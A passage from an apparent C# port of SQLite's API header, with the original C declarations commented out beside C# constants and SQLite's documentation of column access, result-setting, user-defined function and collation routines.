Requirements: ** [H13771] [H13772] */ //SQLITE_API int sqlite3_data_count(sqlite3_stmt *pStmt); /* ** CAPI3REF: Fundamental Datatypes {H10265} ** KEYWORDS: SQLITE_TEXT ** ** {H10266} Every value in SQLite has one of five fundamental datatypes: ** **
      **
    • 64-bit signed integer **
    • 64-bit IEEE floating point number **
    • string **
    • BLOB **
    • NULL **
    {END} ** ** These constants are codes for each of those types. ** ** Note that the SQLITE_TEXT constant was also used in SQLite version 2 ** for a completely different meaning. Software that links against both ** SQLite version 2 and SQLite version 3 should use SQLITE3_TEXT, not ** SQLITE_TEXT. */ //#define SQLITE_INTEGER 1 //#define SQLITE_FLOAT 2 //#define SQLITE_BLOB 4 //#define SQLITE_NULL 5 //#ifdef SQLITE_TEXT //# undef SQLITE_TEXT //#else //# define SQLITE_TEXT 3 //#endif //#define SQLITE3_TEXT 3 public const u8 SQLITE_INTEGER = 1; public const u8 SQLITE_FLOAT = 2; public const u8 SQLITE_BLOB = 4; public const u8 SQLITE_NULL = 5; public const u8 SQLITE_TEXT = 3; public const u8 SQLITE3_TEXT = 3; /* ** CAPI3REF: Result Values From A Query {H13800} ** KEYWORDS: {column access functions} ** ** These routines form the "result set query" interface. ** ** These routines return information about a single column of the current ** result row of a query. In every case the first argument is a pointer ** to the [prepared statement] that is being evaluated (the [sqlite3_stmt*] ** that was returned from [sqlite3_prepare_v2()] or one of its variants) ** and the second argument is the index of the column for which information ** should be returned. The leftmost column of the result set has the index 0. ** ** If the SQL statement does not currently point to a valid row, or if the ** column index is out of range, the result is undefined. ** These routines may only be called when the most recent call to ** [sqlite3_step()] has returned [SQLITE_ROW] and neither ** [sqlite3_reset()] nor [sqlite3_finalize()] have been called subsequently. ** If any of these routines are called after [sqlite3_reset()] or ** [sqlite3_finalize()] or after [sqlite3_step()] has returned ** something other than [SQLITE_ROW], the results are undefined. ** If [sqlite3_step()] or [sqlite3_reset()] or [sqlite3_finalize()] ** are called from a different thread while any of these routines ** are pending, then the results are undefined. ** ** The sqlite3_column_type() routine returns the ** [SQLITE_INTEGER | datatype code] for the initial data type ** of the result column. The returned value is one of [SQLITE_INTEGER], ** [SQLITE_FLOAT], [SQLITE_TEXT], [SQLITE_BLOB], or [SQLITE_NULL]. The value ** returned by sqlite3_column_type() is only meaningful if no type ** conversions have occurred as described below. After a type conversion, ** the value returned by sqlite3_column_type() is undefined. Future ** versions of SQLite may change the behavior of sqlite3_column_type() ** following a type conversion. ** ** If the result is a BLOB or UTF-8 string then the sqlite3_column_bytes() ** routine returns the number of bytes in that BLOB or string. ** If the result is a UTF-16 string, then sqlite3_column_bytes() converts ** the string to UTF-8 and then returns the number of bytes. ** If the result is a numeric value then sqlite3_column_bytes() uses ** [sqlite3_snprintf()] to convert that value to a UTF-8 string and returns ** the number of bytes in that string. ** The value returned does not include the zero terminator at the end ** of the string. For clarity: the value returned is the number of ** bytes in the string, not the number of characters. ** ** Strings returned by sqlite3_column_text() and sqlite3_column_text16(), ** even empty strings, are always zero terminated. The return ** value from sqlite3_column_blob() for a zero-length BLOB is an arbitrary ** pointer, possibly even a NULL pointer. ** ** The sqlite3_column_bytes16() routine is similar to sqlite3_column_bytes() ** but leaves the result in UTF-16 in native byte order instead of UTF-8. ** The zero terminator is not included in this count. ** ** The object returned by [sqlite3_column_value()] is an ** [unprotected sqlite3_value] object. An unprotected sqlite3_value object ** may only be used with [sqlite3_bind_value()] and [sqlite3_result_value()]. ** If the [unprotected sqlite3_value] object returned by ** [sqlite3_column_value()] is used in any other way, including calls ** to routines like [sqlite3_value_int()], [sqlite3_value_text()], ** or [sqlite3_value_bytes()], then the behavior is undefined. ** ** These routines attempt to convert the value where appropriate. For ** example, if the internal representation is FLOAT and a text result ** is requested, [sqlite3_snprintf()] is used internally to perform the ** conversion automatically. The following table details the conversions ** that are applied: ** **
    **
    **
    Internal
    Type
    Requested
    Type
    Conversion ** **
    NULL INTEGER Result is 0 **
    NULL FLOAT Result is 0.0 **
    NULL TEXT Result is NULL pointer **
    NULL BLOB Result is NULL pointer **
    INTEGER FLOAT Convert from integer to float **
    INTEGER TEXT ASCII rendering of the integer **
    INTEGER BLOB Same as INTEGER->TEXT **
    FLOAT INTEGER Convert from float to integer **
    FLOAT TEXT ASCII rendering of the float **
    FLOAT BLOB Same as FLOAT->TEXT **
    TEXT INTEGER Use atoi() **
    TEXT FLOAT Use atof() **
    TEXT BLOB No change **
    BLOB INTEGER Convert to TEXT then use atoi() **
    BLOB FLOAT Convert to TEXT then use atof() **
    BLOB TEXT Add a zero terminator if needed **
    ** ** ** The table above makes reference to standard C library functions atoi() ** and atof(). SQLite does not really use these functions. It has its ** own equivalent internal routines. The atoi() and atof() names are ** used in the table for brevity and because they are familiar to most ** C programmers. ** ** Note that when type conversions occur, pointers returned by prior ** calls to sqlite3_column_blob(), sqlite3_column_text(), and/or ** sqlite3_column_text16() may be invalidated. ** Type conversions and pointer invalidations might occur ** in the following cases: ** **
      **
    • The initial content is a BLOB and sqlite3_column_text() or ** sqlite3_column_text16() is called. A zero-terminator might ** need to be added to the string.
    • **
    • The initial content is UTF-8 text and sqlite3_column_bytes16() or ** sqlite3_column_text16() is called. The content must be converted ** to UTF-16.
    • **
    • The initial content is UTF-16 text and sqlite3_column_bytes() or ** sqlite3_column_text() is called. The content must be converted ** to UTF-8.
    • **
    ** ** Conversions between UTF-16be and UTF-16le are always done in place and do ** not invalidate a prior pointer, though of course the content of the buffer ** that the prior pointer points to will have been modified. Other kinds ** of conversion are done in place when it is possible, but sometimes they ** are not possible and in those cases prior pointers are invalidated. ** ** The safest and easiest to remember policy is to invoke these routines ** in one of the following ways: ** **
      **
    • sqlite3_column_text() followed by sqlite3_column_bytes()
    • **
    • sqlite3_column_blob() followed by sqlite3_column_bytes()
    • **
    • sqlite3_column_text16() followed by sqlite3_column_bytes16()
    • **
    ** ** In other words, you should call sqlite3_column_text(), ** sqlite3_column_blob(), or sqlite3_column_text16() first to force the result ** into the desired format, then invoke sqlite3_column_bytes() or ** sqlite3_column_bytes16() to find the size of the result. Do not mix calls ** to sqlite3_column_text() or sqlite3_column_blob() with calls to ** sqlite3_column_bytes16(), and do not mix calls to sqlite3_column_text16() ** with calls to sqlite3_column_bytes(). ** ** The pointers returned are valid until a type conversion occurs as ** described above, or until [sqlite3_step()] or [sqlite3_reset()] or ** [sqlite3_finalize()] is called. The memory space used to hold strings ** and BLOBs is freed automatically. Do not pass the pointers returned ** [sqlite3_column_blob()], [sqlite3_column_text()], etc. into ** [sqlite3_free()]. ** ** If a memory allocation error occurs during the evaluation of any ** of these routines, a default value is returned. The default value ** is either the integer 0, the floating point number 0.0, or a NULL ** pointer. Subsequent calls to [sqlite3_errcode()] will return ** [SQLITE_NOMEM]. ** ** Requirements: ** [H13803] [H13806] [H13809] [H13812] [H13815] [H13818] [H13821] [H13824] ** [H13827] [H13830] */ //SQLITE_API const void *sqlite3_column_blob(sqlite3_stmt*, int iCol); //SQLITE_API int sqlite3_column_bytes(sqlite3_stmt*, int iCol); //SQLITE_API int sqlite3_column_bytes16(sqlite3_stmt*, int iCol); //SQLITE_API double sqlite3_column_double(sqlite3_stmt*, int iCol); //SQLITE_API int sqlite3_column_int(sqlite3_stmt*, int iCol); //SQLITE_API sqlite3_int64 sqlite3_column_int64(sqlite3_stmt*, int iCol); //SQLITE_API const unsigned char *sqlite3_column_text(sqlite3_stmt*, int iCol); //SQLITE_API const void *sqlite3_column_text16(sqlite3_stmt*, int iCol); //SQLITE_API int sqlite3_column_type(sqlite3_stmt*, int iCol); //SQLITE_API sqlite3_value *sqlite3_column_value(sqlite3_stmt*, int iCol); /* ** CAPI3REF: Destroy A Prepared Statement Object {H13300} ** ** The sqlite3_finalize() function is called to delete a [prepared statement]. ** If the statement was executed successfully or not executed at all, then ** SQLITE_OK is returned. If execution of the statement failed then an ** [error code] or [extended error code] is returned. ** ** This routine can be called at any point during the execution of the ** [prepared statement]. If the virtual machine has not ** completed execution when this routine is called, that is like ** encountering an error or an [sqlite3_interrupt | interrupt]. ** Incomplete updates may be rolled back and transactions canceled, ** depending on the circumstances, and the ** [error code] returned will be [SQLITE_ABORT]. ** ** Requirements: ** [H11302] [H11304] */ //SQLITE_API int sqlite3_finalize(sqlite3_stmt *pStmt); /* ** CAPI3REF: Reset A Prepared Statement Object {H13330} ** ** The sqlite3_reset() function is called to reset a [prepared statement] ** object back to its initial state, ready to be re-executed. ** Any SQL statement variables that had values bound to them using ** the [sqlite3_bind_blob | sqlite3_bind_*() API] retain their values. ** Use [sqlite3_clear_bindings()] to reset the bindings. ** ** {H11332} The [sqlite3_reset(S)] interface resets the [prepared statement] S ** back to the beginning of its program. ** ** {H11334} If the most recent call to [sqlite3_step(S)] for the ** [prepared statement] S returned [SQLITE_ROW] or [SQLITE_DONE], ** or if [sqlite3_step(S)] has never before been called on S, ** then [sqlite3_reset(S)] returns [SQLITE_OK]. ** ** {H11336} If the most recent call to [sqlite3_step(S)] for the ** [prepared statement] S indicated an error, then ** [sqlite3_reset(S)] returns an appropriate [error code]. ** ** {H11338} The [sqlite3_reset(S)] interface does not change the values ** of any [sqlite3_bind_blob|bindings] on the [prepared statement] S. */ //SQLITE_API int sqlite3_reset(sqlite3_stmt *pStmt); /* ** CAPI3REF: Create Or Redefine SQL Functions {H16100} ** KEYWORDS: {function creation routines} ** KEYWORDS: {application-defined SQL function} ** KEYWORDS: {application-defined SQL functions} ** ** These two functions (collectively known as "function creation routines") ** are used to add SQL functions or aggregates or to redefine the behavior ** of existing SQL functions or aggregates. The only difference between the ** two is that the second parameter, the name of the (scalar) function or ** aggregate, is encoded in UTF-8 for sqlite3_create_function() and UTF-16 ** for sqlite3_create_function16(). ** ** The first parameter is the [database connection] to which the SQL ** function is to be added. If a single program uses more than one database ** connection internally, then SQL functions must be added individually to ** each database connection. ** ** The second parameter is the name of the SQL function to be created or ** redefined. The length of the name is limited to 255 bytes, exclusive of ** the zero-terminator. Note that the name length limit is in bytes, not ** characters. Any attempt to create a function with a longer name ** will result in [SQLITE_ERROR] being returned. ** ** The third parameter (nArg) ** is the number of arguments that the SQL function or ** aggregate takes. If this parameter is -1, then the SQL function or ** aggregate may take any number of arguments between 0 and the limit ** set by [sqlite3_limit]([SQLITE_LIMIT_FUNCTION_ARG]). If the third ** parameter is less than -1 or greater than 127 then the behavior is ** undefined. ** ** The fourth parameter, eTextRep, specifies what ** [SQLITE_UTF8 | text encoding] this SQL function prefers for ** its parameters. Any SQL function implementation should be able to work ** work with UTF-8, UTF-16le, or UTF-16be. But some implementations may be ** more efficient with one encoding than another. It is allowed to ** invoke sqlite3_create_function() or sqlite3_create_function16() multiple ** times with the same function but with different values of eTextRep. ** When multiple implementations of the same function are available, SQLite ** will pick the one that involves the least amount of data conversion. ** If there is only a single implementation which does not care what text ** encoding is used, then the fourth argument should be [SQLITE_ANY]. ** ** The fifth parameter is an arbitrary pointer. The implementation of the ** function can gain access to this pointer using [sqlite3_user_data()]. ** ** The seventh, eighth and ninth parameters, xFunc, xStep and xFinal, are ** pointers to C-language functions that implement the SQL function or ** aggregate. A scalar SQL function requires an implementation of the xFunc ** callback only, NULL pointers should be passed as the xStep and xFinal ** parameters. An aggregate SQL function requires an implementation of xStep ** and xFinal and NULL should be passed for xFunc. To delete an existing ** SQL function or aggregate, pass NULL for all three function callbacks. ** ** It is permitted to register multiple implementations of the same ** functions with the same name but with either differing numbers of ** arguments or differing preferred text encodings. SQLite will use ** the implementation most closely matches the way in which the ** SQL function is used. A function implementation with a non-negative ** nArg parameter is a better match than a function implementation with ** a negative nArg. A function where the preferred text encoding ** matches the database encoding is a better ** match than a function where the encoding is different. ** A function where the encoding difference is between UTF16le and UTF16be ** is a closer match than a function where the encoding difference is ** between UTF8 and UTF16. ** ** Built-in functions may be overloaded by new application-defined functions. ** The first application-defined function with a given name overrides all ** built-in functions in the same [database connection] with the same name. ** Subsequent application-defined functions of the same name only override ** prior application-defined functions that are an exact match for the ** number of parameters and preferred encoding. ** ** An application-defined function is permitted to call other ** SQLite interfaces. However, such calls must not ** close the database connection nor finalize or reset the prepared ** statement in which the function is running. ** ** Requirements: ** [H16103] [H16106] [H16109] [H16112] [H16118] [H16121] [H16127] ** [H16130] [H16133] [H16136] [H16139] [H16142] */ //SQLITE_API int sqlite3_create_function( // sqlite3 *db, // const char *zFunctionName, // int nArg, // int eTextRep, // void *pApp, // void (*xFunc)(sqlite3_context*,int,sqlite3_value**), // void (*xStep)(sqlite3_context*,int,sqlite3_value**), // void (*xFinal)(sqlite3_context*) //); //SQLITE_API int sqlite3_create_function16( // sqlite3 *db, // const void *zFunctionName, // int nArg, // int eTextRep, // void *pApp, // void (*xFunc)(sqlite3_context*,int,sqlite3_value**), // void (*xStep)(sqlite3_context*,int,sqlite3_value**), // void (*xFinal)(sqlite3_context*) //); /* ** CAPI3REF: Text Encodings {H10267} ** ** These constant define integer codes that represent the various ** text encodings supported by SQLite. */ //#define SQLITE_UTF8 1 //#define SQLITE_UTF16LE 2 //#define SQLITE_UTF16BE 3 //#define SQLITE_UTF16 4 /* Use native byte order */ //#define SQLITE_ANY 5 /* sqlite3_create_function only */ //#define SQLITE_UTF16_ALIGNED 8 /* sqlite3_create_collation only */ public const u8 SQLITE_UTF8 = 1; public const u8 SQLITE_UTF16LE = 2; public const u8 SQLITE_UTF16BE = 3; public const u8 SQLITE_UTF16 = 4; public const u8 SQLITE_ANY = 5; public const u8 SQLITE_UTF16_ALIGNED = 8; /* ** CAPI3REF: Deprecated Functions ** DEPRECATED ** ** These functions are [deprecated]. In order to maintain ** backwards compatibility with older code, these functions continue ** to be supported. However, new applications should avoid ** the use of these functions. To help encourage people to avoid ** using these functions, we are not going to tell you what they do. */ #if !SQLITE_OMIT_DEPRECATED //SQLITE_API SQLITE_DEPRECATED int sqlite3_aggregate_count(sqlite3_context*); //SQLITE_API SQLITE_DEPRECATED int sqlite3_expired(sqlite3_stmt*); //SQLITE_API SQLITE_DEPRECATED int sqlite3_transfer_bindings(sqlite3_stmt*, sqlite3_stmt*); //SQLITE_API SQLITE_DEPRECATED int sqlite3_global_recover(void); //SQLITE_API SQLITE_DEPRECATED void sqlite3_thread_cleanup(void); //SQLITE_API SQLITE_DEPRECATED int sqlite3_memory_alarm(void(*)(void*,sqlite3_int64,int),void*,sqlite3_int64); #endif /* ** CAPI3REF: Obtaining SQL Function Parameter Values {H15100} ** ** The C-language implementation of SQL functions and aggregates uses ** this set of interface routines to access the parameter values on ** the function or aggregate. ** ** The xFunc (for scalar functions) or xStep (for aggregates) parameters ** to [sqlite3_create_function()] and [sqlite3_create_function16()] ** define callbacks that implement the SQL functions and aggregates. ** The 4th parameter to these callbacks is an array of pointers to ** [protected sqlite3_value] objects. There is one [sqlite3_value] object for ** each parameter to the SQL function. These routines are used to ** extract values from the [sqlite3_value] objects. ** ** These routines work only with [protected sqlite3_value] objects. ** Any attempt to use these routines on an [unprotected sqlite3_value] ** object results in undefined behavior. ** ** These routines work just like the corresponding [column access functions] ** except that these routines take a single [protected sqlite3_value] object ** pointer instead of a [sqlite3_stmt*] pointer and an integer column number. ** ** The sqlite3_value_text16() interface extracts a UTF-16 string ** in the native byte-order of the host machine. The ** sqlite3_value_text16be() and sqlite3_value_text16le() interfaces ** extract UTF-16 strings as big-endian and little-endian respectively. ** ** The sqlite3_value_numeric_type() interface attempts to apply ** numeric affinity to the value. This means that an attempt is ** made to convert the value to an integer or floating point. If ** such a conversion is possible without loss of information (in other ** words, if the value is a string that looks like a number) ** then the conversion is performed. Otherwise no conversion occurs. ** The [SQLITE_INTEGER | datatype] after conversion is returned. ** ** Please pay particular attention to the fact that the pointer returned ** from [sqlite3_value_blob()], [sqlite3_value_text()], or ** [sqlite3_value_text16()] can be invalidated by a subsequent call to ** [sqlite3_value_bytes()], [sqlite3_value_bytes16()], [sqlite3_value_text()], ** or [sqlite3_value_text16()]. ** ** These routines must be called from the same thread as ** the SQL function that supplied the [sqlite3_value*] parameters. ** ** Requirements: ** [H15103] [H15106] [H15109] [H15112] [H15115] [H15118] [H15121] [H15124] ** [H15127] [H15130] [H15133] [H15136] */ //SQLITE_API const void *sqlite3_value_blob(sqlite3_value*); //SQLITE_API int sqlite3_value_bytes(sqlite3_value*); //SQLITE_API int sqlite3_value_bytes16(sqlite3_value*); //SQLITE_API double sqlite3_value_double(sqlite3_value*); //SQLITE_API int sqlite3_value_int(sqlite3_value*); //SQLITE_API sqlite3_int64 sqlite3_value_int64(sqlite3_value*); //SQLITE_API const unsigned char *sqlite3_value_text(sqlite3_value*); //SQLITE_API const void *sqlite3_value_text16(sqlite3_value*); //SQLITE_API const void *sqlite3_value_text16le(sqlite3_value*); //SQLITE_API const void *sqlite3_value_text16be(sqlite3_value*); //SQLITE_API int sqlite3_value_type(sqlite3_value*); //SQLITE_API int sqlite3_value_numeric_type(sqlite3_value*); /* ** CAPI3REF: Obtain Aggregate Function Context {H16210} ** ** The implementation of aggregate SQL functions use this routine to allocate ** a structure for storing their state. ** ** The first time the sqlite3_aggregate_context() routine is called for a ** particular aggregate, SQLite allocates nBytes of memory, zeroes out that ** memory, and returns a pointer to it. On second and subsequent calls to ** sqlite3_aggregate_context() for the same aggregate function index, ** the same buffer is returned. The implementation of the aggregate can use ** the returned buffer to accumulate data. ** ** SQLite automatically frees the allocated buffer when the aggregate ** query concludes. ** ** The first parameter should be a copy of the ** [sqlite3_context | SQL function context] that is the first parameter ** to the callback routine that implements the aggregate function. ** ** This routine must be called from the same thread in which ** the aggregate SQL function is running. ** ** Requirements: ** [H16211] [H16213] [H16215] [H16217] */ //SQLITE_API void *sqlite3_aggregate_context(sqlite3_context*, int nBytes); /* ** CAPI3REF: User Data For Functions {H16240} ** ** The sqlite3_user_data() interface returns a copy of ** the pointer that was the pUserData parameter (the 5th parameter) ** of the [sqlite3_create_function()] ** and [sqlite3_create_function16()] routines that originally ** registered the application defined function. {END} ** ** This routine must be called from the same thread in which ** the application-defined function is running. ** ** Requirements: ** [H16243] */ //SQLITE_API void *sqlite3_user_data(sqlite3_context*); /* ** CAPI3REF: Database Connection For Functions {H16250} ** ** The sqlite3_context_db_handle() interface returns a copy of ** the pointer to the [database connection] (the 1st parameter) ** of the [sqlite3_create_function()] ** and [sqlite3_create_function16()] routines that originally ** registered the application defined function. ** ** Requirements: ** [H16253] */ //SQLITE_API sqlite3 *sqlite3_context_db_handle(sqlite3_context*); /* ** CAPI3REF: Function Auxiliary Data {H16270} ** ** The following two functions may be used by scalar SQL functions to ** associate metadata with argument values. If the same value is passed to ** multiple invocations of the same SQL function during query execution, under ** some circumstances the associated metadata may be preserved. This may ** be used, for example, to add a regular-expression matching scalar ** function. The compiled version of the regular expression is stored as ** metadata associated with the SQL value passed as the regular expression ** pattern. The compiled regular expression can be reused on multiple ** invocations of the same function so that the original pattern string ** does not need to be recompiled on each invocation. ** ** The sqlite3_get_auxdata() interface returns a pointer to the metadata ** associated by the sqlite3_set_auxdata() function with the Nth argument ** value to the application-defined function. If no metadata has been ever ** been set for the Nth argument of the function, or if the corresponding ** function parameter has changed since the meta-data was set, ** then sqlite3_get_auxdata() returns a NULL pointer. ** ** The sqlite3_set_auxdata() interface saves the metadata ** pointed to by its 3rd parameter as the metadata for the N-th ** argument of the application-defined function. Subsequent ** calls to sqlite3_get_auxdata() might return this data, if it has ** not been destroyed. ** If it is not NULL, SQLite will invoke the destructor ** function given by the 4th parameter to sqlite3_set_auxdata() on ** the metadata when the corresponding function parameter changes ** or when the SQL statement completes, whichever comes first. ** ** SQLite is free to call the destructor and drop metadata on any ** parameter of any function at any time. The only guarantee is that ** the destructor will be called before the metadata is dropped. ** ** In practice, metadata is preserved between function calls for ** expressions that are constant at compile time. This includes literal ** values and SQL variables. ** ** These routines must be called from the same thread in which ** the SQL function is running. ** ** Requirements: ** [H16272] [H16274] [H16276] [H16277] [H16278] [H16279] */ //SQLITE_API void *sqlite3_get_auxdata(sqlite3_context*, int N); //SQLITE_API void sqlite3_set_auxdata(sqlite3_context*, int N, void*, void (*)(void*)); /* ** CAPI3REF: Constants Defining Special Destructor Behavior {H10280} ** ** These are special values for the destructor that is passed in as the ** final argument to routines like [sqlite3_result_blob()]. If the destructor ** argument is SQLITE_STATIC, it means that the content pointer is constant ** and will never change. It does not need to be destroyed. The ** SQLITE_TRANSIENT value means that the content will likely change in ** the near future and that SQLite should make its own private copy of ** the content before returning. ** ** The typedef is necessary to work around problems in certain ** C++ compilers. See ticket #2191. */ //typedef void (*sqlite3_destructor_type)(void*); //#define SQLITE_STATIC ((sqlite3_destructor_type)0) //#define SQLITE_TRANSIENT ((sqlite3_destructor_type)-1) public static dxDel SQLITE_STATIC; public static dxDel SQLITE_TRANSIENT; /* ** CAPI3REF: Setting The Result Of An SQL Function {H16400} ** ** These routines are used by the xFunc or xFinal callbacks that ** implement SQL functions and aggregates. See ** [sqlite3_create_function()] and [sqlite3_create_function16()] ** for additional information. ** ** These functions work very much like the [parameter binding] family of ** functions used to bind values to host parameters in prepared statements. ** Refer to the [SQL parameter] documentation for additional information. ** ** The sqlite3_result_blob() interface sets the result from ** an application-defined function to be the BLOB whose content is pointed ** to by the second parameter and which is N bytes long where N is the ** third parameter. ** ** The sqlite3_result_zeroblob() interfaces set the result of ** the application-defined function to be a BLOB containing all zero ** bytes and N bytes in size, where N is the value of the 2nd parameter. ** ** The sqlite3_result_double() interface sets the result from ** an application-defined function to be a floating point value specified ** by its 2nd argument. ** ** The sqlite3_result_error() and sqlite3_result_error16() functions ** cause the implemented SQL function to throw an exception. ** SQLite uses the string pointed to by the ** 2nd parameter of sqlite3_result_error() or sqlite3_result_error16() ** as the text of an error message. SQLite interprets the error ** message string from sqlite3_result_error() as UTF-8. SQLite ** interprets the string from sqlite3_result_error16() as UTF-16 in native ** byte order. If the third parameter to sqlite3_result_error() ** or sqlite3_result_error16() is negative then SQLite takes as the error ** message all text up through the first zero character. ** If the third parameter to sqlite3_result_error() or ** sqlite3_result_error16() is non-negative then SQLite takes that many ** bytes (not characters) from the 2nd parameter as the error message. ** The sqlite3_result_error() and sqlite3_result_error16() ** routines make a private copy of the error message text before ** they return. Hence, the calling function can deallocate or ** modify the text after they return without harm. ** The sqlite3_result_error_code() function changes the error code ** returned by SQLite as a result of an error in a function. By default, ** the error code is SQLITE_ERROR. A subsequent call to sqlite3_result_error() ** or sqlite3_result_error16() resets the error code to SQLITE_ERROR. ** ** The sqlite3_result_toobig() interface causes SQLite to throw an error ** indicating that a string or BLOB is to long to represent. ** ** The sqlite3_result_nomem() interface causes SQLite to throw an error ** indicating that a memory allocation failed. ** ** The sqlite3_result_int() interface sets the return value ** of the application-defined function to be the 32-bit signed integer ** value given in the 2nd argument. ** The sqlite3_result_int64() interface sets the return value ** of the application-defined function to be the 64-bit signed integer ** value given in the 2nd argument. ** ** The sqlite3_result_null() interface sets the return value ** of the application-defined function to be NULL. ** ** The sqlite3_result_text(), sqlite3_result_text16(), ** sqlite3_result_text16le(), and sqlite3_result_text16be() interfaces ** set the return value of the application-defined function to be ** a text string which is represented as UTF-8, UTF-16 native byte order, ** UTF-16 little endian, or UTF-16 big endian, respectively. ** SQLite takes the text result from the application from ** the 2nd parameter of the sqlite3_result_text* interfaces. ** If the 3rd parameter to the sqlite3_result_text* interfaces ** is negative, then SQLite takes result text from the 2nd parameter ** through the first zero character. ** If the 3rd parameter to the sqlite3_result_text* interfaces ** is non-negative, then as many bytes (not characters) of the text ** pointed to by the 2nd parameter are taken as the application-defined ** function result. ** If the 4th parameter to the sqlite3_result_text* interfaces ** or sqlite3_result_blob is a non-NULL pointer, then SQLite calls that ** function as the destructor on the text or BLOB result when it has ** finished using that result. ** If the 4th parameter to the sqlite3_result_text* interfaces or ** sqlite3_result_blob is the special constant SQLITE_STATIC, then SQLite ** assumes that the text or BLOB result is in constant space and does not ** copy the it or call a destructor when it has finished using that result. ** If the 4th parameter to the sqlite3_result_text* interfaces ** or sqlite3_result_blob is the special constant SQLITE_TRANSIENT ** then SQLite makes a copy of the result into space obtained from ** from [sqlite3_malloc()] before it returns. ** ** The sqlite3_result_value() interface sets the result of ** the application-defined function to be a copy the ** [unprotected sqlite3_value] object specified by the 2nd parameter. The ** sqlite3_result_value() interface makes a copy of the [sqlite3_value] ** so that the [sqlite3_value] specified in the parameter may change or ** be deallocated after sqlite3_result_value() returns without harm. ** A [protected sqlite3_value] object may always be used where an ** [unprotected sqlite3_value] object is required, so either ** kind of [sqlite3_value] object can be used with this interface. ** ** If these routines are called from within the different thread ** than the one containing the application-defined function that received ** the [sqlite3_context] pointer, the results are undefined. ** ** Requirements: ** [H16403] [H16406] [H16409] [H16412] [H16415] [H16418] [H16421] [H16424] ** [H16427] [H16430] [H16433] [H16436] [H16439] [H16442] [H16445] [H16448] ** [H16451] [H16454] [H16457] [H16460] [H16463] */ //SQLITE_API void sqlite3_result_blob(sqlite3_context*, const void*, int, void(*)(void*)); //SQLITE_API void sqlite3_result_double(sqlite3_context*, double); //SQLITE_API void sqlite3_result_error(sqlite3_context*, const char*, int); //SQLITE_API void sqlite3_result_error16(sqlite3_context*, const void*, int); //SQLITE_API void sqlite3_result_error_toobig(sqlite3_context*); //SQLITE_API void sqlite3_result_error_nomem(sqlite3_context*); //SQLITE_API void sqlite3_result_error_code(sqlite3_context*, int); //SQLITE_API void sqlite3_result_int(sqlite3_context*, int); //SQLITE_API void sqlite3_result_int64(sqlite3_context*, sqlite3_int64); //SQLITE_API void sqlite3_result_null(sqlite3_context*); //SQLITE_API void sqlite3_result_text(sqlite3_context*, const char*, int, void(*)(void*)); //SQLITE_API void sqlite3_result_text16(sqlite3_context*, const void*, int, void(*)(void*)); //SQLITE_API void sqlite3_result_text16le(sqlite3_context*, const void*, int,void(*)(void*)); //SQLITE_API void sqlite3_result_text16be(sqlite3_context*, const void*, int,void(*)(void*)); //SQLITE_API void sqlite3_result_value(sqlite3_context*, sqlite3_value*); //SQLITE_API void sqlite3_result_zeroblob(sqlite3_context*, int n); /* ** CAPI3REF: Define New Collating Sequences {H16600} ** ** These functions are used to add new collation sequences to the ** [database connection] specified as the first argument. ** ** The name of the new collation sequence is specified as a UTF-8 string ** for sqlite3_create_collation() and sqlite3_create_collation_v2() ** and a UTF-16 string for sqlite3_create_collation16(). In all cases ** the name is passed as the second function argument. ** ** The third argument may be one of the constants [SQLITE_UTF8], ** [SQLITE_UTF16LE], or [SQLITE_UTF16BE], indicating that the user-supplied ** routine expects to be passed pointers to strings encoded using UTF-8, ** UTF-16 little-endian, or UTF-16 big-endian, respectively. The ** third argument might also be [SQLITE_UTF16] to indicate that the routine ** expects pointers to be UTF-16 strings in the native byte order, or the ** argument can be [SQLITE_UTF16_ALIGNED] if the ** the routine expects pointers to 16-bit word aligned strings ** of UTF-16 in the native byte order. ** ** A pointer to the user supplied routine must be passed as the fifth ** argument. If it is NULL, this is the same as deleting the collation ** sequence (so that SQLite cannot call it anymore). ** Each time the application supplied function is invoked, it is passed ** as its first parameter a copy of the void* passed as the fourth argument ** to sqlite3_create_collation() or sqlite3_create_collation16(). ** ** The remaining arguments to the application-supplied routine are two strings, ** each represented by a (length, data) pair and encoded in the encoding ** that was passed as the third argument when the collation sequence was ** registered. {END} The application defined collation routine should ** return negative, zero or positive if the first string is less than, ** equal to, or greater than the second string. i.e. (STRING1 - STRING2). ** ** The sqlite3_create_collation_v2() works like sqlite3_create_collation() ** except that it takes an extra argument which is a destructor for ** the collation. The destructor is called when the collation is ** destroyed and is passed a copy of the fourth parameter void* pointer ** of the sqlite3_create_collation_v2(). ** Collations are destroyed when they are overridden by later calls to the ** collation creation functions or when the [database connection] is closed ** using [sqlite3_close()]. ** ** See also: [sqlite3_collation_needed()] and [sqlite3_collation_needed16()]. ** ** Requirements: ** [H16603] [H16604] [H16606] [H16609] [H16612] [H16615] [H16618] [H16621] ** [H16624] [H16627] [H16630] */ //SQLITE_API int sqlite3_create_collation( //// sqlite3*, // const char *zName, // int eTextRep, // void*, // int(*xCompare)(void*,int,const void*,int,const void*) //); //SQLITE_API int sqlite3_create_collation_v2( //// sqlite3*, // const char *zName, // int eTextRep, // void*, // int(*xCompare)(void*,int,const void*,int,const void*), // void(*xDestroy)(void*) //); //SQLITE_API int sqlite3_create_collation16( //// sqlite3*, // const void *zName, // int eTextRep, // void*, // int(*xCompare)(void*,int,const void*,int,const void*) //); /* ** CAPI3REF: Collation Needed Callbacks {H16700} ** ** To avoid having to register all collation sequences before a database ** can be used, a single callback function may be registered with the ** [database connection] to be called whenever an undefined collation ** sequence is required. ** ** If the function is registered using the sqlite3_collation_needed() API, ** then it is passed the names of undefined collation sequences as strings ** encoded in UTF-8. {H16703} If sqlite3_collation_needed16() is used, ** the names are passed as UTF-16 in machine native byte order. ** A call to either function replaces any existing callback. ** ** When the callback is invoked, the first argument passed is a copy ** of the second argument to sqlite3_collation_needed() or ** sqlite3_collation_needed16(). The second argument is the database ** connection. The third argument is one of [SQLITE_UTF8], [SQLITE_UTF16BE], ** or [SQLITE_UTF16LE], indicating the most desirable form of the collation ** sequence function required. The fourth parameter is the name of the ** required collation sequence. ** ** The callback function should register the desired collation using ** [sqlite3_create_collation()], [sqlite3_create_collation16()], or ** [sqlite3_create_collation_v2()]. ** ** Requirements: ** [H16702] [H16704] [H16706] */ //SQLITE_API int sqlite3_collation_needed( // sqlite3*, // void*, // void(*)(void*,sqlite3*,int eTextRep,const char*) //); //SQLITE_API int sqlite3_collation_needed16( // sqlite3*, // void*, // void(*)(void*,sqlite3*,int eTextRep,const void*) //); /* ** Specify the key for an encrypted database. This routine should be ** called right after sqlite3_open(). ** ** The code to implement this API is not available in the public release ** of SQLite. */ //SQLITE_API int sqlite3_key( // sqlite3 